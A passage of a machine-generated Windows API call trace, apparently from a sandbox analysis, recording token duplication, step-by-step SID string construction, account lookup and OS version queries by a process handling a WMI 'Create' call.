(hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0287.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x8c443da1, dwHighDateTime=0x1d9eb0c)) [0287.582] free (_Block=0x196ef0d1f20) [0287.582] FreeLibrary (hLibModule=0x7ffa7be80000) returned 1 [0287.583] free (_Block=0x196ef0f85a0) [0287.585] free (_Block=0x196ef0fb220) [0287.585] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0300.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x93b0bc09, dwHighDateTime=0x1d9eb0c)) [0300.035] free (_Block=0x196ef0d1f20) [0300.035] FreeLibrary (hLibModule=0x7ffa7be80000) returned 1 [0300.035] free (_Block=0x196ef0f8de0) [0300.036] free (_Block=0x196ef0fb7c0) [0300.036] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 113 os_tid = 0x1154 Thread: id = 114 os_tid = 0x1150 [0104.544] RtlRestoreLastWin32Error () returned 0x670dbf000 [0104.544] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0104.545] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0104.545] RtlRestoreLastWin32Error () returned 0x670dbf000 [0104.545] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0104.545] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0104.545] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0104.545] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0104.545] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0104.545] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0104.550] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0104.554] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0104.554] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0104.555] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0104.555] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0104.558] GetCurrentThread () returned 0xfffffffffffffffe [0104.558] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x2d4) returned 1 [0104.558] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x2fc) returned 1 [0104.558] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0104.558] GetLastError () returned 0x7a [0104.558] malloc (_Size=0x2c) returned 0x196ef0d1350 [0104.558] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x196ef0d1350, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1350, ReturnLength=0x67117c740) returned 1 [0104.558] IsValidSid (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0104.558] GetLengthSid (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0104.558] malloc (_Size=0x1c) returned 0x196ef0f9d00 [0104.558] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9d00, pSourceSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9d00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0104.559] GetSidIdentifierAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1362 [0104.559] malloc (_Size=0x18) returned 0x196ef0d1b40 [0104.559] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0104.559] malloc (_Size=0x18) returned 0x196ef0d19e0 [0104.559] malloc (_Size=0x18) returned 0x196ef0d1e20 [0104.559] SysStringLen (param_1="S-1-") returned 0x4 [0104.559] SysStringLen (param_1="5") returned 0x1 [0104.559] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee79a188, _Size=0xa | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0104.559] memcpy (in: _Dst=0x196ee7c7680, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7c7680) returned 0x196ee7c7680 [0104.559] free (_Block=0x196ef0d1b40) [0104.559] free (_Block=0x196ef0d19e0) [0104.559] GetSidSubAuthorityCount (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1361 [0104.559] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1368 [0104.559] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0104.559] malloc (_Size=0x18) returned 0x196ef0d1be0 [0104.559] malloc (_Size=0x18) returned 0x196ef0d1e00 [0104.559] SysStringLen (param_1="S-1-5") returned 0x5 [0104.559] SysStringLen (param_1="-") returned 0x1 [0104.559] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7c7678, _Size=0xc | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0104.559] memcpy (in: _Dst=0x196ee7aa992, _Src=0x196ee79a188, _Size=0x4 | out: _Dst=0x196ee7aa992) returned 0x196ee7aa992 [0104.560] free (_Block=0x196ef0d1e20) [0104.560] free (_Block=0x196ef0d1be0) [0104.560] malloc (_Size=0x18) returned 0x196ef0d2080 [0104.560] malloc (_Size=0x18) returned 0x196ef0d1be0 [0104.560] SysStringLen (param_1="S-1-5-") returned 0x6 [0104.560] SysStringLen (param_1="21") returned 0x2 [0104.560] memcpy (in: _Dst=0x196ee79a188, _Src=0x196ee7aa988, _Size=0xe | out: _Dst=0x196ee79a188) returned 0x196ee79a188 [0104.560] memcpy (in: _Dst=0x196ee79a194, _Src=0x196ee7c7678, _Size=0x6 | out: _Dst=0x196ee79a194) returned 0x196ee79a194 [0104.560] free (_Block=0x196ef0d1e00) [0104.560] free (_Block=0x196ef0d2080) [0104.560] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d136c [0104.560] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0104.560] malloc (_Size=0x18) returned 0x196ef0d20a0 [0104.560] malloc (_Size=0x18) returned 0x196ef0d1e40 [0104.560] SysStringLen (param_1="S-1-5-21") returned 0x8 [0104.560] SysStringLen (param_1="-") returned 0x1 [0104.560] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee79a188, _Size=0x12 | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0104.560] memcpy (in: _Dst=0x196ee7c7688, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7c7688) returned 0x196ee7c7688 [0104.560] free (_Block=0x196ef0d1be0) [0104.561] free (_Block=0x196ef0d20a0) [0104.561] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0104.561] malloc (_Size=0x18) returned 0x196ef0d1f00 [0104.561] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0104.561] SysStringLen (param_1="1560258661") returned 0xa [0104.561] memcpy (in: _Dst=0x196ee7bd318, _Src=0x196ee7c7678, _Size=0x14 | out: _Dst=0x196ee7bd318) returned 0x196ee7bd318 [0104.561] memcpy (in: _Dst=0x196ee7bd32a, _Src=0x196ee79a188, _Size=0x16 | out: _Dst=0x196ee7bd32a) returned 0x196ee7bd32a [0104.561] free (_Block=0x196ef0d1e40) [0104.561] free (_Block=0x196ef0d1fa0) [0104.561] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1370 [0104.561] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0104.561] malloc (_Size=0x18) returned 0x196ef0d1c40 [0104.561] malloc (_Size=0x18) returned 0x196ef0d19e0 [0104.561] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0104.561] SysStringLen (param_1="-") returned 0x1 [0104.561] memcpy (in: _Dst=0x196ee7bd4a8, _Src=0x196ee7bd318, _Size=0x28 | out: _Dst=0x196ee7bd4a8) returned 0x196ee7bd4a8 [0104.561] memcpy (in: _Dst=0x196ee7bd4ce, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7bd4ce) returned 0x196ee7bd4ce [0104.561] free (_Block=0x196ef0d1f00) [0104.561] free (_Block=0x196ef0d1c40) [0104.561] malloc (_Size=0x18) returned 0x196ef0d1d00 [0104.562] malloc (_Size=0x18) returned 0x196ef0d1a40 [0104.562] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0104.562] SysStringLen (param_1="3990802383") returned 0xa [0104.562] memcpy (in: _Dst=0x196ee7bb828, _Src=0x196ee7bd4a8, _Size=0x2a | out: _Dst=0x196ee7bb828) returned 0x196ee7bb828 [0104.562] memcpy (in: _Dst=0x196ee7bb850, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee7bb850) returned 0x196ee7bb850 [0104.562] free (_Block=0x196ef0d19e0) [0104.562] free (_Block=0x196ef0d1d00) [0104.562] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1374 [0104.562] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0104.562] malloc (_Size=0x18) returned 0x196ef0d1e80 [0104.562] malloc (_Size=0x18) returned 0x196ef0d20c0 [0104.562] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0104.562] SysStringLen (param_1="-") returned 0x1 [0104.562] memcpy (in: _Dst=0x196ee7bb608, _Src=0x196ee7bb828, _Size=0x3e | out: _Dst=0x196ee7bb608) returned 0x196ee7bb608 [0104.562] memcpy (in: _Dst=0x196ee7bb644, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7bb644) returned 0x196ee7bb644 [0104.562] free (_Block=0x196ef0d1a40) [0104.562] free (_Block=0x196ef0d1e80) [0104.562] malloc (_Size=0x18) returned 0x196ef0d19c0 [0104.562] malloc (_Size=0x18) returned 0x196ef0d1e40 [0104.562] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0104.562] SysStringLen (param_1="1811730007") returned 0xa [0104.563] memcpy (in: _Dst=0x196ee7bb828, _Src=0x196ee7bb608, _Size=0x40 | out: _Dst=0x196ee7bb828) returned 0x196ee7bb828 [0104.563] memcpy (in: _Dst=0x196ee7bb866, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee7bb866) returned 0x196ee7bb866 [0104.563] free (_Block=0x196ef0d20c0) [0104.563] free (_Block=0x196ef0d19c0) [0104.563] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1378 [0104.563] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0104.563] malloc (_Size=0x18) returned 0x196ef0d1b40 [0104.563] malloc (_Size=0x18) returned 0x196ef0d1d60 [0104.563] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0104.563] SysStringLen (param_1="-") returned 0x1 [0104.563] memcpy (in: _Dst=0x196ee7bb608, _Src=0x196ee7bb828, _Size=0x54 | out: _Dst=0x196ee7bb608) returned 0x196ee7bb608 [0104.563] memcpy (in: _Dst=0x196ee7bb65a, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7bb65a) returned 0x196ee7bb65a [0104.563] free (_Block=0x196ef0d1e40) [0104.563] free (_Block=0x196ef0d1b40) [0104.563] malloc (_Size=0x18) returned 0x196ef0d1960 [0104.563] malloc (_Size=0x18) returned 0x196ef0d1c00 [0104.563] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0104.563] SysStringLen (param_1="1000") returned 0x4 [0104.563] memcpy (in: _Dst=0x196ee7bb828, _Src=0x196ee7bb608, _Size=0x56 | out: _Dst=0x196ee7bb828) returned 0x196ee7bb828 [0104.563] memcpy (in: _Dst=0x196ee7bb87c, _Src=0x196ee7c7678, _Size=0xa | out: _Dst=0x196ee7bb87c) returned 0x196ee7bb87c [0104.564] free (_Block=0x196ef0d1d60) [0104.564] free (_Block=0x196ef0d1960) [0104.564] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0104.564] malloc (_Size=0x5e) returned 0x196ef0d0370 [0104.564] free (_Block=0x196ef0d1c00) [0104.564] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0104.565] free (_Block=0x196ef0d0370) [0104.565] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0104.567] GetLastError () returned 0x7a [0104.567] malloc (_Size=0x1a) returned 0x196ef0f9a30 [0104.567] malloc (_Size=0xe) returned 0x196ef0d1ba0 [0104.567] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9a30, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1ba0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0104.569] malloc (_Size=0x18) returned 0x196ef0d1e00 [0104.569] malloc (_Size=0x18) returned 0x196ef0d1b40 [0104.569] free (_Block=0x196ef0f9a30) [0104.569] free (_Block=0x196ef0d1ba0) [0104.569] free (_Block=0x196ef0f9d00) [0104.569] free (_Block=0x196ef0d1b40) [0104.569] free (_Block=0x196ef0d1e00) [0104.569] free (_Block=0x196ef0d1ec0) [0104.570] free (_Block=0x196ef0d1350) [0104.570] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xffffffff, dwMinorVersion=0xa870ba, dwBuildNumber=0x0, dwPlatformId=0x7117cc78, szCSDVersion="\x06") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0104.570] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0104.570] GetLastError () returned 0x7a [0104.570] malloc (_Size=0x2c) returned 0x196ef0d1510 [0104.570] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x196ef0d1510, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1510, ReturnLength=0x67117c740) returned 1 [0104.570] IsValidSid (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0104.570] GetLengthSid (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0104.570] malloc (_Size=0x1c) returned 0x196ef0fa030 [0104.570] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0fa030, pSourceSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0fa030*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0104.570] GetSidIdentifierAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1522 [0104.570] malloc (_Size=0x18) returned 0x196ef0d1a80 [0104.570] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0104.570] malloc (_Size=0x18) returned 0x196ef0d1e20 [0104.570] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0104.570] SysStringLen (param_1="S-1-") returned 0x4 [0104.570] SysStringLen (param_1="5") returned 0x1 [0104.571] memcpy (in: _Dst=0x196ee79a188, _Src=0x196ee7c7678, _Size=0xa | out: _Dst=0x196ee79a188) returned 0x196ee79a188 [0104.571] memcpy (in: _Dst=0x196ee79a190, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee79a190) returned 0x196ee79a190 [0104.571] free (_Block=0x196ef0d1a80) [0104.571] free (_Block=0x196ef0d1e20) [0104.571] GetSidSubAuthorityCount (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1521 [0104.571] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1528 [0104.571] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0104.571] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0104.571] malloc (_Size=0x18) returned 0x196ef0d1f40 [0104.571] SysStringLen (param_1="S-1-5") returned 0x5 [0104.571] SysStringLen (param_1="-") returned 0x1 [0104.571] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee79a188, _Size=0xc | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0104.571] memcpy (in: _Dst=0x196ee7aa992, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7aa992) returned 0x196ee7aa992 [0104.571] free (_Block=0x196ef0d1fa0) [0104.571] free (_Block=0x196ef0d1ba0) [0104.571] malloc (_Size=0x18) returned 0x196ef0d1d20 [0104.571] malloc (_Size=0x18) returned 0x196ef0d1a20 [0104.571] SysStringLen (param_1="S-1-5-") returned 0x6 [0104.571] SysStringLen (param_1="21") returned 0x2 [0104.571] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7aa988, _Size=0xe | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0104.571] memcpy (in: _Dst=0x196ee7c7684, _Src=0x196ee79a188, _Size=0x6 | out: _Dst=0x196ee7c7684) returned 0x196ee7c7684 [0104.572] free (_Block=0x196ef0d1f40) [0104.572] free (_Block=0x196ef0d1d20) [0104.572] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d152c [0104.572] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0104.572] malloc (_Size=0x18) returned 0x196ef0d1f40 [0104.572] malloc (_Size=0x18) returned 0x196ef0d1d40 [0104.572] SysStringLen (param_1="S-1-5-21") returned 0x8 [0104.572] SysStringLen (param_1="-") returned 0x1 [0104.572] memcpy (in: _Dst=0x196ee79a188, _Src=0x196ee7c7678, _Size=0x12 | out: _Dst=0x196ee79a188) returned 0x196ee79a188 [0104.572] memcpy (in: _Dst=0x196ee79a198, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee79a198) returned 0x196ee79a198 [0104.572] free (_Block=0x196ef0d1a20) [0104.572] free (_Block=0x196ef0d1f40) [0104.572] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0104.572] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0104.572] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0104.572] SysStringLen (param_1="1560258661") returned 0xa [0104.572] memcpy (in: _Dst=0x196ee7bd318, _Src=0x196ee79a188, _Size=0x14 | out: _Dst=0x196ee7bd318) returned 0x196ee7bd318 [0104.572] memcpy (in: _Dst=0x196ee7bd32a, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee7bd32a) returned 0x196ee7bd32a [0104.572] free (_Block=0x196ef0d1d40) [0104.572] free (_Block=0x196ef0d1fa0) [0104.572] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1530 [0104.573] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0104.573] malloc (_Size=0x18) returned 0x196ef0d1960 [0104.573] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0104.573] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0104.573] SysStringLen (param_1="-") returned 0x1 [0104.573] memcpy (in: _Dst=0x196ee7bd4a8, _Src=0x196ee7bd318, _Size=0x28 | out: _Dst=0x196ee7bd4a8) returned 0x196ee7bd4a8 [0104.573] memcpy (in: _Dst=0x196ee7bd4ce, _Src=0x196ee79a188, _Size=0x4 | out: _Dst=0x196ee7bd4ce) returned 0x196ee7bd4ce [0104.573] free (_Block=0x196ef0d1ee0) [0104.573] free (_Block=0x196ef0d1960) [0104.573] malloc (_Size=0x18) returned 0x196ef0d2060 [0104.573] malloc (_Size=0x18) returned 0x196ef0d1b20 [0104.573] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0104.573] SysStringLen (param_1="3990802383") returned 0xa [0104.573] memcpy (in: _Dst=0x196ee7bb608, _Src=0x196ee7bd4a8, _Size=0x2a | out: _Dst=0x196ee7bb608) returned 0x196ee7bb608 [0104.573] memcpy (in: _Dst=0x196ee7bb630, _Src=0x196ee79a188, _Size=0x16 | out: _Dst=0x196ee7bb630) returned 0x196ee7bb630 [0104.573] free (_Block=0x196ef0d1fe0) [0104.573] free (_Block=0x196ef0d2060) [0104.573] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1534 [0104.573] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0104.573] malloc (_Size=0x18) returned 0x196ef0d2080 [0104.573] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0104.574] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0104.574] SysStringLen (param_1="-") returned 0x1 [0104.574] memcpy (in: _Dst=0x196ee7bb828, _Src=0x196ee7bb608, _Size=0x3e | out: _Dst=0x196ee7bb828) returned 0x196ee7bb828 [0104.574] memcpy (in: _Dst=0x196ee7bb864, _Src=0x196ee79a188, _Size=0x4 | out: _Dst=0x196ee7bb864) returned 0x196ee7bb864 [0104.574] free (_Block=0x196ef0d1b20) [0104.574] free (_Block=0x196ef0d2080) [0104.574] malloc (_Size=0x18) returned 0x196ef0d1b40 [0104.574] malloc (_Size=0x18) returned 0x196ef0d1960 [0104.574] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0104.574] SysStringLen (param_1="1811730007") returned 0xa [0104.574] memcpy (in: _Dst=0x196ee7bb608, _Src=0x196ee7bb828, _Size=0x40 | out: _Dst=0x196ee7bb608) returned 0x196ee7bb608 [0104.574] memcpy (in: _Dst=0x196ee7bb646, _Src=0x196ee79a188, _Size=0x16 | out: _Dst=0x196ee7bb646) returned 0x196ee7bb646 [0104.574] free (_Block=0x196ef0d1ba0) [0104.574] free (_Block=0x196ef0d1b40) [0104.574] GetSidSubAuthority 